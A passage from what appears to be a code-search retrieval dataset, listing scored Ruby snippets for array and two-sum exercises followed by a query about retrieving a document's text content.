middle_index += 1\n break if middle_index == arr.length\n end\n -1\nend", "title": "" }, { "docid": "239e10547370b96d5adc53e924edfe87", "score": "0.70511335", "text": "def sum_zero(arr)\n left = 0\n right = arr.length\n right -=1\n while left<right do\n if arr[left] + arr[right] == 0\n return left, right\n elsif arr[left] + arr[right] > 0\n right-= 1\n else \n left+=1\n end\n end\nend", "title": "" }, { "docid": "1eafbe27c87ae4765762966ec38b23dc", "score": "0.70365936", "text": "def find_even_index(arr)\n left_side = 0\n right_side = arr.reduce(:+)\n \n arr.each_with_index do |e, ind|\n right_side -= e\n return ind if left_side == right_side\n left_side += e\n end\n \n -1\nend", "title": "" }, { "docid": "b391afb5244c6f32a4ead7db07edde32", "score": "0.7033212", "text": "def find_dup_number(array)\n n = array.length - 1\n expected_sum = n*(n+1)/2\n actual_sum = array.reduce(:+)\n actual_sum - expected_sum\nend", "title": "" }, { "docid": "13bdaf0297f0d286036acd60d7a8ecc6", "score": "0.70293367", "text": "def count_adjacent_sums(array, n)\n count = 0\n array.each_with_index do |i, idx |\n # if array[idx] + array[idx + 1] == n\n # count++\n # end\n count += 1 if array[idx] + array[idx + 1] == n\n end\n count\nend", "title": "" }, { "docid": "6da2b399f77546116c2552a8da3ff2bb", "score": "0.6971401", "text": "def sum_to_n?(int_array,n)\n # YOUR CODE HERE\n return false if int_array.length == 0 \n int_array.each_with_index{ |val, index| \n return true if int_array.find_index(n - val) && int_array.find_index(n - val ) != index\n }\n return false # default return false\nend", "title": "" }, { "docid": "f3929e53d034f39d235d9cb3995dbd54", "score": "0.6962464", "text": "def find_even_index(arr)\r\n last_index = arr.size - 1\r\n arr.each_index do |index|\r\n if index == 0\r\n left_side = []\r\n right_side = arr[(index + 1)..-1]\r\n elsif index == last_index\r\n left_side = arr[0..(last_index - 1)]\r\n right_side = []\r\n else\r\n left_side = arr[0..(index - 1)]\r\n right_side = arr[(index + 1)..-1]\r\n end\r\n return index if left_side.sum == right_side.sum\r\n end\r\n \r\n -1\r\nend", "title": "" }, { "docid": "8793cc5fd7871e918c1d242740e431ae", "score": "0.69269854", "text": "def sum_to_n? arr, n\n len = arr.length\n\n #Returns false when the length of the array is 0.\n if len == 0 then\n return false\n end\n #Iterates through the array to find the first index\n i = 0\n while i < len-1 do\n #Iterate through the rest of the elements of the array\n j = i+1\n while j <= len-1 do\n if arr[i]+arr[j] == n then\n return true\n end\n j+=1\n end\n i+=1\n end\n return false\nend", "title": "" }, { "docid": "d38c567771bb0e1bfc2128996463a5cf", "score": "0.6918417", "text": "def okay_two_sum?(arr, target_sum)\r\n sums = []\r\n arr.each_with_index do |ele, idx|\r\n next if idx+1 == arr.length\r\n sums << [ele + arr[idx+1]] if idx+1 > idx \r\n end\r\n\r\n sorted = sums.flatten.sort\r\n\r\n return sorted if arr.length < 2\r\n\r\n mid = sorted.length /2\r\n left = okay_two_sum?(sorted.take(mid), target_sum)\r\n right = okay_two_sum?(sorted.drop(mid), target_sum)\r\n\r\n case sorted[mid] <=> target_sum\r\n when 0\r\n return mid\r\n when 1\r\n okay_two_sum?(left, target_sum)\r\n else\r\n search_res = okay_two_sum?(right, target_sum)\r\n search_res.nil? ? nil : mid + 1 + search_res \r\n end\r\n\r\nend", "title": "" }, { "docid": "0de2f5eaa79d743839905f08123e976f", "score": "0.69158477", "text": "def sum_to_n?(int_array, n)\n return true if int_array.length == 0 && n == 0\n int_array.each_with_index{ |val, index| \n return true if int_array.find_index(n - val) && int_array.find_index(n - val ) != index\n }\n return false # default return false\nend", "title": "" }, { "docid": "dce6e009810571ec392b1ffc79564f96", "score": "0.691417", "text": "def left_equal_right(array)\n left = 0\n right = array.reduce(:+)\n array.each do |x|\n right -= x\n if left == right\n p array.index(x)\n end\n left += x\n end\nend", "title": "" }, { "docid": "6c7d4ef49bedf4d53eaaa88cf836b623", "score": "0.691141", "text": "def find_even_index(array)\n array.length.times do |middle_idx|\n part1 = [0] \n part2 = [0]\n array.each_with_index do |num, idx|\n part1 << num if idx < middle_idx\n part2 << num if idx > middle_idx\n end\n return middle_idx if part1.reduce(:+) == part2.reduce(:+)\n end\n -1\nend", "title": "" }, { "docid": "d21d6920096b34b3a0c3d0baad7896d5", "score": "0.68943924", "text": "def solve(nums)\n arr = nums.map {|num| num * num}\n arr.each_with_index do |el1, idx1|\n arr.each_with_index do |el2, idx2|\n if idx2 > idx1\n if arr.include?(el1 + el2)\n if (arr.index(el1 + el2) != idx1) && (arr.index(el1 + el2) != idx2)\n return true\n end\n end\n end\n end\n end\n false\nend", "title": "" }, { "docid": "e96ad2c5ef0bb73c9276599021b44fdd", "score": "0.689095", "text": "def strange_sums(arr)\n count = 0\n\n (0...arr.length).each do |idx_1|\n (idx_1+1...arr.length).each do |idx_2|\n count += 1 if (arr[idx_1] + arr[idx_2]) == 0\n end\n end\n count\nend", "title": "" }, { "docid": "aa27590a904bd98b741c68c3b2a6d27d", "score": "0.68863744", "text": "def sum_to_n?(arr, n)\n # return false if arr.empty? - taken care of by spaceship operator et al\n left = 0\n right = arr.length - 1\n arr.sort!\n while left < right\n case arr[left] + arr[right] <=> n\n when 0\n return true\n when 1\n right -= 1\n when -1\n left += 1\n end\n end\n false\nend", "title": "" }, { "docid": "e04ec2ede3f4fd9dc7b8362a8ddcd736", "score": "0.6881026", "text": "def pivot_index(nums)\n sum = nums.sum\n left_sum = 0\n nums.each_with_index do |num, i|\n if left_sum == sum - left_sum - num\n return i\n end\n left_sum += num\n end\n return -1\nend", "title": "" }, { "docid": "86383b9c1da68a841077183a488371af", "score": "0.6879047", "text": "def get_incorrect(arr)\n arr.reduce(0) { |curr,n| n.is_right != true ? (curr+1) : curr }\nend", "title": "" }, { "docid": "0e327f382de084efc59140ad2970b9b8", "score": "0.68783903", "text": "def solution(a)\n return 1 if a.empty?\n a.sort!\n return 1 if a.first > 1\n return a.first + 1 if a.length <2\n (0..(a.length)).each do |index|\n return a[index] + 1 if a[index] + 1 != a[index + 1]\n end\n return a.last + 1\nend", "title": "" }, { "docid": "11e00136309f621908b71f69ef6bd8de", "score": "0.6877797", "text": "def solutions(a)\r\n\r\n ary = a.sort\r\n ary.each_with_index do |num, index|\r\n if ary[index+1] != num + 1 && index != ary.length-1\r\n return num + 1\r\n end\r\n end\r\n\r\nend", "title": "" }, { "docid": "4bd25d8aabf653aadf75d9e5c8a510d4", "score": "0.68715465", "text": "def checkSum(array)\n\tresult = 0\n\tfor i in 0...array.length\n\t\thead = 0\n\t\ttail = 1\n\t\twhile (head < array[i].length && head < tail)\n\t\t\tif array[i][head] % array[i][tail] == 0\n\t\t\t\tresult += (array[i][head] / array[i][tail])\n\t\t\t\ttail += 1\n\t\t\tend\n\t\t\tif tail - head == 1\n\t\t\t\thead += 1\n\t\t\tend\n\t\tend\n\tend\n\treturn result\nend", "title": "" }, { "docid": "be860aa624cda94be48a3cdababa2f66", "score": "0.68701065", "text": "def strange_sums(arr)\n count = 0\n arr.each_with_index do |ele, i|\n arr.each_with_index do |ele2, i2|\n if i > i2\n if ele + ele2 == 0\n count += 1\n end\n end\n end\n end\n count\nend", "title": "" }, { "docid": "a6804d04d7b925f16972d29662dff497", "score": "0.6869054", "text": "def solution(array)\n result = Array.new(array.length, 0)\n\n array.each do |element|\n if result[element - 1]\n result[element - 1] += 1\n else\n result[element - 1] = 1\n end\n end\n\n result.uniq.size == 1 ? 1 : 0\nend", "title": "" }, { "docid": "bad2cca3d864ab4670502c4a998a21b6", "score": "0.6850324", "text": "def solution(a)\n return 0 if a.uniq.size != a.size\n \n max = a.size \n sum = (1 + max) * max / 2\n \n array_sum = a.inject(0, &:+) \n sum == array_sum ? 1 : 0 \nend", "title": "" }, { "docid": "1354b28f8c84703f9452a16f23275063", "score": "0.6840787", "text": "def count_adjacent_sums(array, n)\n count = 0\n counted_numbers = []\n\n (1...array.length).each do |index|\n number = array[index]\n number_before = array[index - 1]\n sum = number + number_before\n havent_counted_these_numbers_yet = !counted_numbers.include?(number) && !counted_numbers.include?(number_before)\n\n if sum == n && havent_counted_these_numbers_yet\n counted_numbers.push(number)\n counted_numbers.push(number_before)\n count += 1\n end\n end\n\n count\nend", "title": "" }, { "docid": "b26b6b6e62a5a94086caca1a3d9aedae", "score": "0.68265396", "text": "def checkSum(array, sum)\n if array.nil? or array.empty?\n return false\n else\n sortedArray = []\n sortedArray = array.sort # n*log(n)\n length = sortedArray.count\n rightPointer = length - 1\n leftPointer = 0\n result = false\n\n while leftPointer < rightPointer\n if sortedArray[leftPointer] == rightPointer\n result = false;\n break;\n elsif sortedArray[leftPointer] + sortedArray[rightPointer] > sum\n rightPointer -= 1\n elsif sortedArray[leftPointer] + sortedArray[rightPointer] < sum\n leftPointer += 1\n else\n result = true\n break;\n end\n end \n return result;\n\n # return checkHeadAndRear(sortedArray, sum, length) # n\n end\n\nend", "title": "" }, { "docid": "ca52f6b3ea9fe61f71f092b1d7b39e57", "score": "0.68262565", "text": "def checkArray(a)\n\tn = a.length-1\n\tcount = 0\n\tfor i in 0..n do\n\t\tfor j in (i+1)..n do\n\t\t\tfor k in (j+1)..n do\n\t\t\t\tif (a[i] + a[j] + a[k] == 0)\n\t\t\t\t\tcount += 1\n\t\t\t\t\treturn count;\n\t\t\t\telse\n\t\t\t\t\treturn count;\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\nend", "title": "" }, { "docid": "b4f1596e31eca591d6ddb698735421d1", "score": "0.68051744", "text": "def sum_to_n? arr, n\n #arr.product(arr).any? {|c| sum(c) == n && c[0] != c[1] } ----1.3\n arr = arr.sort\n low = 0\n high = arr.length - 1\n while low < high\n if arr[low] + arr[high] == n\n return true\n end\n arr[low] + arr[high] < n ? low += 1 : high -= 1 \n end\n return false\nend", "title": "" }, { "docid": "d8b52a536c68a56c955bfbca229bf3ee", "score": "0.6802925", "text": "def sum_to_n? arr, n\n if arr.length == 1\n return false\n end\n \n #sort arr and find head and tail indices\n sorted_arr = arr.sort\n head = 0\n tail = sorted_arr.length-1\n \n #iterating through arr to find the sum that equals n\n while head < tail\n current_sum = sorted_arr[head] + sorted_arr[tail]\n if current_sum == n\n return true\n elsif current_sum < n\n head = head + 1\n else\n tail = tail - 1\n end\n end\n return false\nend", "title": "" }, { "docid": "d8bc0de3c3d3d988fa0898677a07e842", "score": "0.6798062", "text": "def contig_sum2(array)\n greatest_sum = array[0]\n useful_sum = array[0]\n\n array.each_index do |idx|\n useful_sum = 0 if useful_sum < 0 && idx == 0\n next if idx == 0\n useful_sum += array[idx]\n\n if useful_sum > greatest_sum\n greatest_sum = useful_sum\n elsif useful_sum < 0\n useful_sum = 0\n end\n end\n\n greatest_sum\nend", "title": "" }, { "docid": "09410c98ceeedeebd624fb34b843964a", "score": "0.6795965", "text": "def count_adjacent_sums(array, n)\n\n idx = 0\n counter = 0\n \n while idx < array.length - 1\n \n if array[idx] + array[idx + 1] == n && array[idx] != array[idx + 2]\n \tcounter += 1\n end\n \n idx += 1\n end\n counter\nend", "title": "" }, { "docid": "f5cd8353aa42756a2fe58df042068a8a", "score": "0.6792334", "text": "def binary_find(array)\n\tstart = 0\n last = array.length - 1\n # checks the boundaries first\n return 1 if array[0] != 1\n\treturn array.length + 1 if array[array.length-1] != array.length + 1\n\twhile start <= last\n\t\tmiddle = ((start + last) / 2).floor\n\t\tmiddle_v = array[middle]\n\t\texpected = middle + 1\n\t\tnext_v = array[middle + 1]\n\t\tprev_v = array[middle - 1]\n\t\t# check adjacent elements to see if a number is skipped\n\t\tif next_v - middle_v > 1\n\t\t\t# missing value is just above middle value\n\t\t\treturn middle_v + 1\n\t\telsif prev_v - middle_v < -1\n\t\t\treturn middle_v - 1\n\t\tend\n\t\tif middle_v > expected\n\t\t\t# missing val must be before 'middle' index\n\t\t\tlast = middle - 1\n\t\telse\n\t\t\t# missing val must be after 'middle' index\n\t\t\tstart = middle + 1\n\t\tend\n\tend\n\treturn -1\nend", "title": "" }, { "docid": "abb224f16b1f1ba21e9d47b6d2ed55a5", "score": "0.67826885", "text": "def sum_to_n? arr, n\n if arr.length > 1\n for i in arr do\n ndx = arr.find_index(i)\n x = arr.delete_at(ndx)\n if arr.include?(n - x)\n return true\n end\n arr.insert(ndx, x)\n end\n end\n return false\nend", "title": "" }, { "docid": "7c25d123ceb315f668e62361bafed0e1", "score": "0.678109", "text": "def count_adjacent_sums(array, n)\n\nend", "title": "" }, { "docid": "e625e8a723f51af4b24bfed22a83a7dd", "score": "0.677892", "text": "def solution(a)\n # write your code in Ruby 2.2\n n = a.length\n \n counter = Array.new(n+1, 0)\n \n a.each do |x|\n counter[x-1] += 1\n end\n \n return counter.index { |x| x == 0 } + 1\nend", "title": "" }, { "docid": "ca19f97699bac8cd6b7d45684a8adb76", "score": "0.6773844", "text": "def two_sum1?(arr, target_sum)\n sorted_arr = arr.sort\n length = arr.length - 1\n\n mid = arr.length / 2\n\n if mid < target_sum\n (0...mid).any? { |i| arr[i] + arr[i+1] == target_sum }\n else\n (mid...length).any? { |i| arr[i] + arr[i+1] == target_sum }\n end\nend", "title": "" }, { "docid": "c8d7f3ea6b705e70d5aef16409f0a497", "score": "0.677047", "text": "def solution(a)\n stack = []\n\n a.each_with_index do |n, i|\n if stack.empty?\n stack << [i, n]\n next\n end\n\n last_value = stack.last[1]\n\n if n == last_value\n stack << [i, n]\n else\n stack.pop\n end\n end\n\n return -1 if stack.empty?\n\n i, cd = stack.last\n\n count = a.inject(0) do |acc, n|\n cd == n ? acc + 1 : acc\n end\n\n count > a.length / 2 ? i : -1\nend", "title": "" }, { "docid": "0250d227f29a83d9cd2ac26c8fcd7fcf", "score": "0.6767036", "text": "def solution(a)\n a.sort!\n a.each_with_index do |element, index|\n return 0 if element != index + 1\n end\n 1\nend", "title": "" }, { "docid": "4e84ba7d36ae5feb0146603b06cf838e", "score": "0.6761368", "text": "def sum_of_halfway_matches(nums)\n rotated = nums.rotate(nums.length / 2)\n matches = nums.zip(rotated)\n matches.reduce(0) do |total, pair|\n if pair.first == pair.last\n total + pair.first.to_i\n else\n total\n end\n end\nend", "title": "" }, { "docid": "7d51ccf8c713e9bce6f315ac555cbb9f", "score": "0.67592055", "text": "def adjacent_sum(arr)\n sums = arr.map.with_index do |num, idx|\n if idx != arr.length - 1\n num + arr[idx + 1]\n end\n end\n\n return sums.compact\nend", "title": "" }, { "docid": "b4833d0ce6c464f0383847a04708ddce", "score": "0.6745681", "text": "def adjacent_sum(arr)\n result = []\n\n arr.each_with_index do |num, idx|\n counter = 0\n if idx < arr.length-1\n counter += num + arr[idx+1]\n result << counter\n end\n end\n\n return result\n\nend", "title": "" }, { "docid": "332a5f6939897ef682d3f6eb7897d77e", "score": "0.6713486", "text": "def all_else_equal(arr)\n sum = 0\n arr.each{|num| sum += num}\n if arr.include?(sum/2)\n idx = arr.find_index(sum/2)\n end\n return arr[idx] if idx\nend", "title": "" }, { "docid": "cd3c7d11f30de31b4421b09a2c43f7e5", "score": "0.6709913", "text": "def strange_sums(array)\n count = 0\n (0...array.length).each do |i|\n (i + 1...array.length).each do |j|\n count += 1 if array[i] + array[j] == 0\n end\n end\n\n count\nend", "title": "" }, { "docid": "a28ead081481ff91a42fd25a76c22045", "score": "0.67082906", "text": "def okay_two_sum?(arr, target)\n sorted = arr.sort # n log n => quicksort => is nlogn DOMINANT\n sorted.each_with_index do |num, i| # => O(n)\n # return true if sorted[i] + sorted[-1 - i] == target\n return true if sorted[i + 1 .. - 1].bsearch {|number| target - num <=> number} # => O(log(n))\n # ASK TA ABOUT BSEARCH\n # bsearch {|ele| pivot <=> ele}\n end\n false\nend", "title": "" }, { "docid": "15914f7dbb7c1e62cfd7c0be07f6a6a4", "score": "0.6700931", "text": "def find_unsorted_subarray(nums)\n sum = 0\n index = 0\n sorted = nums.sort\n while index < nums.length\n if nums[index] == sorted[index]\n sum += 1\n else\n break\n end\n index += 1\n end\n return 0 if sum == nums.length\n index = nums.length - 1\n while index >= 0\n if nums[index] == sorted[index]\n sum += 1\n else\n break\n end\n index -= 1\n end\n nums.length - sum\nend", "title": "" }, { "docid": "3be9a51519be38da347e668bc962490d", "score": "0.6697135", "text": "def sum_of_range(array)\n first = array.first\n last = array.last\n if first < last\n numbers = (first..last).to_a\n else\n numbers = (last..first).to_a\n end\n index = 0\n numbers.each do |number|\n index += number\n end\n result = index\nend", "title": "" }, { "docid": "49a3c58eb1b068a578a1a95cc84995eb", "score": "0.6685891", "text": "def linear_subsum(arr)\n largest = arr[0] # 5\n current = 0 # -4\n\n (0...arr.length).each do |idx| # 1\n current += arr[idx]\n largest = current if current >= largest\n current = 0 if current < 0\n end\n largest\nend", "title": "" }, { "docid": "cf73c8c9f428831c1133e1caa12c526e", "score": "0.66795015", "text": "def minSum(array, sum=0)\n array.sort!.each.with_index(1) { |n, i| sum += n * array[-i] }\n sum / 2\nend", "title": "" }, { "docid": "5d5691463fdead7db5972681d563611a", "score": "0.66730183", "text": "def solve(array)\n results = [0] * (array.max + 1)\n\n array.each do |element|\n results[element] + 1\n end\n array.index(1)\nend", "title": "" }, { "docid": "c296d65ffa4b1e5c6722e55598fb384d", "score": "0.6660653", "text": "def two_sum_brute nums\n (0...nums.length).each do |i|\n ((i + 1)...nums.length).each do |j|\n if nums[i] + nums[j] == 0\n return i, j\n end\n end\n end\n nil\nend", "title": "" }, { "docid": "4f4e5891c91835656b5e1a62e7bd058f", "score": "0.66595197", "text": "def sum_to_n?(ints, n)\n return n == 0 if ints.size == 0\n (0...ints.size).each_with_index do |i|\n (i+1...ints.size).each do |j|\n return true if (ints[i]+ints[j]==n)\n end\n end\n return false\nend", "title": "" }, { "docid": "95fa296e89781b1ad59478056052a1a7", "score": "0.6649475", "text": "def sum_of_matches(nums)\n circular_nums = [nums.last] + nums\n total = 0\n circular_nums.each_with_index do |num, ind|\n total += num.to_i if num == circular_nums[ind + 1]\n end\n total\nend", "title": "" }, { "docid": "b15e85be1c4ecff9d3956b18708d0346", "score": "0.6648617", "text": "def sum_of_sums(array)\n supersum = 0\n array.each_with_index do |_, index|\n supersum += array[0, index + 1].inject(:+)\n end\n supersum\nend", "title": "" }, { "docid": "f69a53a84ffd9faeefe6349cd10f16cc", "score": "0.6646761", "text": "def okay_two_sum?(arr, target)\n sorted = arr.sort\n arr.each do |ele|\n pivot = ele\n return true if binary_search(arr, (target - pivot))\n # pivot + num = target / first element\n end\n false\nend", "title": "" }, { "docid": "a313939330b061a68e2ae8c4502652f8", "score": "0.66406983", "text": "def find_sum(array)\n max = 0\n temp_array = array.clone\n (1...array.length).each do |i|\n (0...i).each do |j|\n if (array[i] > array[j] && temp_array[i] < temp_array[j] + array[i])\n temp_array[i] = temp_array[j] + array[i]\n end\n end\n end\n (0...array.length).each do |k|\n max = temp_array[k] if temp_array[k] > max\n end\n return max\nend", "title": "" }, { "docid": "cb707965d8cd10ed37fca7f0e4306869", "score": "0.66391003", "text": "def sum_of_sums(array)\n sum = 0\n array.length.times do |index|\n sum += array[0, index + 1].reduce(&:+)\n end\n sum\nend", "title": "" }, { "docid": "1c23f2626528da5461a18c813cea5342", "score": "0.6638037", "text": "def binary_array_to_number(arr)\n arr.reverse!\n sum = 0\n arr.map.with_index do |item, index|\n if item == 1\n if index.zero?\n sum += 1 if item == 1\n else\n sum += (index * 2)\n end\n end\n end\n sum\nend", "title": "" }, { "docid": "4e24e551d85f08cbf87ac3a39f653f9b", "score": "0.66360426", "text": "def sum_to_n? arr, n\n arr.each_with_index { |first, i1|\n arr.each_with_index { |sec, i2|\n return true if first + sec == n && i1 != i2\n }\n }\n return false\nend", "title": "" }, { "docid": "e293be50a7797e52157d79246e3acf7f", "score": "0.6633278", "text": "def solution(a)\n return 1 if a.count == 0\n \n real_sum = a.inject(:+)\n expected_sum = (a.count + 1) * (a.count + 2) / 2.0\n (expected_sum - real_sum).to_i\nend", "title": "" }, { "docid": "958a599211a47e003f3fc87cfe17e0b3", "score": "0.6620087", "text": "def strange_sums(arr)\n # iterate arr, nested in iterate arr\n # each pair, if sum is zero, increase count by 1\n count = 0\n\n arr.each.with_index do |num1, idx1|\n arr.each.with_index do |num2, idx2|\n if idx2 > idx1 && num1 + num2 == 0\n count += 1\n end\n end\n end\n\n count\nend", "title": "" }, { "docid": "dfb5be4032827a2af66bc204b4eca26c", "score": "0.6597721", "text": "def okay_two_sum?(arr, target)\n arr = arr.sort #n log n\n (0...arr.length).each do |i| #n\n search = bsearch(arr, target-arr[i]) # log n\n return true unless search.nil?\n end #n log n\n false\nend", "title": "" }, { "docid": "846f7850989266931ce75b7b714fb21e", "score": "0.6590591", "text": "def contiguous_sum(arr)\n sums = []\n (0...arr.size).each do |i1|\n (i1...arr.size).each do |i2|\n sums << arr[i1..i2]\n end\n end\n max = 0\n sums.each {|el|max = el.sum if el.sum > max}\n max\nend", "title": "" }, { "docid": "69ce22b25dddb86528e75ef560ee0df5", "score": "0.6589883", "text": "def two_sum(numbers, target)\n arr = numbers\n num = target\n index_array = []\n return_array = []\n current_index = 0\n\n loop do\n idx_counter = current_index\n current_element = arr[current_index]\n\n loop do\n break if idx_counter >= arr.length - 1\n next_index = idx_counter + 1\n next_element = arr[next_index]\n if current_element + next_element == num\n index_array << current_index << next_index\n end\n idx_counter += 1\n end\n\n if return_array == []\n current_index += 1\n end\n break if return_array.reduce(:+) == num\n end\n\n p index_array\nend", "title": "" }, { "docid": "d88a1c8508835fc236c1ba9af6eb2e6f", "score": "0.6585318", "text": "def binary_search(arr,tar)\n return nil if arr.length < 1\n mid_idx = arr.length / 2\n if arr[mid_idx] == tar\n return mid_idx\n elsif arr[mid_idx] > tar\n binary_search(arr[0...mid_idx],tar)\n elsif arr[mid_idx] < tar\n subanswer = binary_search(arr[mid_idx+1..-1],tar)\n subanswer.nil? ? nil : (mid_idx+1) + subanswer\n end\nend", "title": "" }, { "docid": "d894f6b6ae5558e9fd2abb2029033532", "score": "0.6577585", "text": "def sum_of_sums(array)\n result = 0\n array.each_index {|idx| result += array[0..idx].sum}\n result\nend", "title": "" }, { "docid": "6120807fb8a044fb88aea50f5cbe5ff6", "score": "0.65651387", "text": "def solve(array)\n largest_sum = 0\n\n array.each_with_index do |element, index|\n current_largest_sum = 0\n if element > 0\n current_largest_sum += element\n\n array[index..(-1)].each do |el|\n current_largest_sum += el if el > element\n end\n current_largest_sum -= element\n largest_sum = current_largest_sum if current_largest_sum > largest_sum\n end\n end\n largest_sum\nend", "title": "" }, { "docid": "0e0ea223b197904d8c1adc9e73f650cf", "score": "0.6564191", "text": "def my_solution(array)\n hash = {}\n\n array.each do |element|\n hash[element] = 0 if element > 0\n end\n\n (1..array.size).each do |i|\n return i if hash[i].nil?\n end\nend", "title": "" }, { "docid": "0689d1f129a4ee4a380430dfe7f56e34", "score": "0.6563603", "text": "def sum_of_sums(arr)\n total_sum = 0\n idx = 0\n counter = -1\n while counter + 1 > -arr.size\n total_sum += arr.slice(idx..counter).reduce(:+)\n counter -= 1\n end\n total_sum\nend", "title": "" }, { "docid": "0021c7f756d6d86e5aea47198c0ad4be", "score": "0.6561722", "text": "def balancedSums(arr)\n return 'YES' if arr.size == 1\n\n total = arr.sum\n left_sum = 0\n\n (0..arr.size - 1).each do |i|\n rest_sum = total - left_sum - (arr[i] || 0)\n if left_sum == rest_sum\n return 'YES'\n end\n\n left_sum += arr[i]\n end\n\n 'NO'\nend", "title": "" }, { "docid": "216c3061543e73e09df44b68ca7d26b1", "score": "0.65601826", "text": "def Superincreasing(arr)\n arr.each_with_index do |num, idx|\n next if idx == 0\n return 'false' unless arr[0...idx].sum < num\n end\n 'true'\nend", "title": "" }, { "docid": "d76f59565f38d834bca92c04b0e261ca", "score": "0.65491605", "text": "def two_sum_to_zero?(arr)\r\n\r\n #\r\n arr.each_index {|index|\r\n index_out = arr.slice(0, index) +arr.slice(index +1, arr.length)\r\n\r\n return true if index_out.include?(-arr[index])\r\n }\r\n false\r\nend", "title": "" }, { "docid": "4ba42d75a0d2ad380b18f272d82e6258", "score": "0.6547661", "text": "def solve(nums)\n nums.each_with_index do |n, i|\n if nums[i] == i\n return i\n end\n end\n return -1\nend", "title": "" }, { "docid": "638ffca43fd76bcd68a61c493a7f520d", "score": "0.6546691", "text": "def count(arr)\n count = 0\n arr_length_half = arr.length / 2\n\n arr_length_half.times do |i|\n if arr [i] > arr[- i - 1]\n count += arr[i]\n else\n count += arr[-i - 1]\n end\n end\n count\nend", "title": "" }, { "docid": "492e936526ebfbffbc3c3b62f458936f", "score": "0.6539415", "text": "def solution(a)\n n = a.size\n return 0 unless n > 2\n a.sort!\n\n (2..n - 1).each do |i|\n return 1 if a[i - 2] + a[i - 1] > a[i]\n end\n\n return 0\nend", "title": "" }, { "docid": "c6fcb09cc9ca23fe1a08a3c97dbbfd06", "score": "0.6531752", "text": "def okay_two_sum?(arr, target_sum) #bsearch = log n => n * log n\n sorted_arr = arr.sort #.sort => n * log n\n sorted_arr.each_index do |i|\n j = sorted_arr.bsearch_index { |n| n + sorted_arr[i] == target_sum }\n return true if !j.nil? && j != i\n end\n false\nend", "title": "" }, { "docid": "c4e872a4836e664bf963daa2842c2bbe", "score": "0.6527261", "text": "def l_sum(arr)\n pairs = []\n\n (0...arr.length).each do |i|\n (i...arr.length).each do |j|\n pairs << arr[i..j]\n end\n end\n pairs.inject(pairs.first.sum) do |acc, el|\n acc < el.sum ? el.sum : acc\n end\n \nend", "title": "" }, { "docid": "b16df5ce04929016ab7918f0a11e9eaa", "score": "0.65271103", "text": "def sum(array)\n return 0 if array.empty?\n return array.first if array.length == 1\n\n array.inject(:+)\nend", "title": "" }, { "docid": "aa4493417dbe5f9855193291d443833f", "score": "0.6520506", "text": "def sum_of_sums(array)\n current_sum = 0\n counter = 0\n loop do\n current_sum += array[0..counter].sum\n counter +=1\n break if counter == array.size\n end\n current_sum\nend", "title": "" }, { "docid": "372af8dd3b410cf39439704a37d214c7", "score": "0.6519448", "text": "def strange_sums(num_array)\n return 0 if num_array.length < 1\n\n count = 0\n num_array.each_with_index do |num,i|\n (i+1...num_array.length).each do |k|\n if (num + num_array[k]) == 0\n count += 1 \n end\n end\n end\n count\nend", "title": "" }, { "docid": "57cda5c5617e2996a00bbbe8b4ff8bbf", "score": "0.65181714", "text": "def sum_of_sums(array)\n total = 0\n\n 1.upto(array.size) do |num|\n total += array.slice(0, num).reduce(:+)\n end\n total\nend", "title": "" }, { "docid": "55e2cd11bde41318adb0083e69c98437", "score": "0.65149575", "text": "def sumofint(arr)\n combi = (0..9).to_a.combination(3).to_a.map{|e| e.reduce(:+)}\n _n, s = arr\n combi.select{ |e| e == s }.length\nend", "title": "" }, { "docid": "dbde79b2cf8c2bebbfe8447a9ed85b64", "score": "0.65120214", "text": "def sum_of_range(arr)\n arr[0] < arr[1] ? (arr[0]..arr[1]).reduce(:+) : arr[0].downto(arr[1]).reduce(:+)\nend", "title": "" }, { "docid": "e616ff371640b6ccde57859a560ece90", "score": "0.65113056", "text": "def equil_idcs(a)\n left = 0\n sum = a.inject(:+)\n equils = []\n a.each_with_index do |num, idx|\n sum -= num\n equils << idx if left == sum\n left += num\n end\n equils.empty? ? -1 : equils\nend", "title": "" }, { "docid": "6a741906a49e58366a6197988a22c054", "score": "0.651116", "text": "def better_contig_subsum(arr)\n max_sum = arr.inject(&:+) # O(n)\n temp_sum = max_sum\n\n loop do # O(n)\n left = temp_sum - arr.first\n right = temp_sum - arr.last\n\n if arr.length == 1\n if arr.first > max_sum\n return arr.first\n else\n return max_sum\n end\n end\n\n if right >= left\n max_sum = right if right >= max_sum\n temp_sum = right\n arr.pop\n else\n max_sum = left if left >= max_sum\n temp_sum = left\n arr.shift\n end\n end\n\n max_sum\nend", "title": "" }, { "docid": "c9da1aac6032163d8c9b9a6509e6ce5e", "score": "0.6510886", "text": "def minimum_sum(array, x)\n sum = 0\n array.sort.reverse.each_with_index do |e, i|\n sum = sum + e\n puts \"Number #{e}\"\n return puts \"Answer is #{i+1} elements, Suma #{sum} >= #{x}\" if sum >= x\n end\n return puts \"There are no elements that was >= #{x}\"\nend", "title": "" }, { "docid": "31c85d9eaf0963b69baaa5cceb99b4b4", "score": "0.6510796", "text": "def sum_to_n?(arr, n)\n for x in arr\n if arr.include?(n - x)\n return true\n end\n end\n return n==0 && arr.empty?\nend", "title": "" }, { "docid": "d155a1f30e40b464a8cec5a43323fac2", "score": "0.6510783", "text": "def adjacent_sum(arr)\n new_arry = []\n arr.each_with_index do |num, i|\n if num == arr[-1]\n return new_arry\n else\n new_arry << num + arr[i+1]\n end\n end\n\treturn new_arry\nend", "title": "" }, { "docid": "d99ef8469338f1d67dc750f13ac6ac3e", "score": "0.6499861", "text": "def sum_to_n? arr, n\n return false if arr.empty? or arr.length == 1\n for i in 0...arr.length - 1\n for j in i + 1...arr.length\n if arr[i] + arr[j] == n\n return true\n end\n end\n end\n return false\nend", "title": "" } ]
ac7c8677f9874bb43e21369665478500
Get the textual contents of the document. returns: depends on type of document text: text as a string link: url as a string embedded_youtube: url for (embedded) youtube video as a string
[ { "docid": "78775e465d8af4c32d33d71857a15d54", "score": "0.7224006", "text": "def get_document_text\n self.game.document_content\n end", "title": "" } ]
